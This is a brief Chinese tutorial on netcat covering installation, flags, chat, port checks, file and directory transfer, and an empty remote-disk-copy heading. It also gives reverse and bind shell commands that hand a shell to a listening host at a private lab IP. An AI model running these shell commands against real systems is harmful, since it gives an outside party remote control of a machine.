安装:
yum install nc -y
常用的参数:
-c, --sh-exec <command> :shell的交互,linux bash ,windows cmd
-n, --nodns :直接IP方式进行连接,不进行DNS解析,如果是IP最好加
-v, --verbose :详细信息
-w :超时时间
-l :服务端监听
-u :制定udp,默认TCP
1.聊天
服务端:nc -l 80
客户端:nc -nv 服务端IP 服务端监听端口 #nc -nv 192.168.80.202 80
然后互相发送文本字符都能看到
2.网络测试,端口扫描(建议nmap)
客户端:nc -nv 服务端ip 端口
3.传输文件或者目录(> <可以互换)
传输文件
服务端:nc -l 88>1.mp4
客户端:nc -nv 192.168.80.202 88 <1.mp4
传输目录:
服务端:nc -l 9995 | tar xfvz -
客户端:tar cfz - * | nc 10.0.1.162 9995
4.shell控制,伪shell终端
服务端控制客户端,反向控制
服务端:nc -l 9000
客户端:nc -nv 192.168.80.202 -c shell #如果是windows -c cmd
客户端控制服务端:
服务端:nc -l 9000 -c shell
客户端:nc -nv 192.168.80.202
5.远程磁盘copy
评论区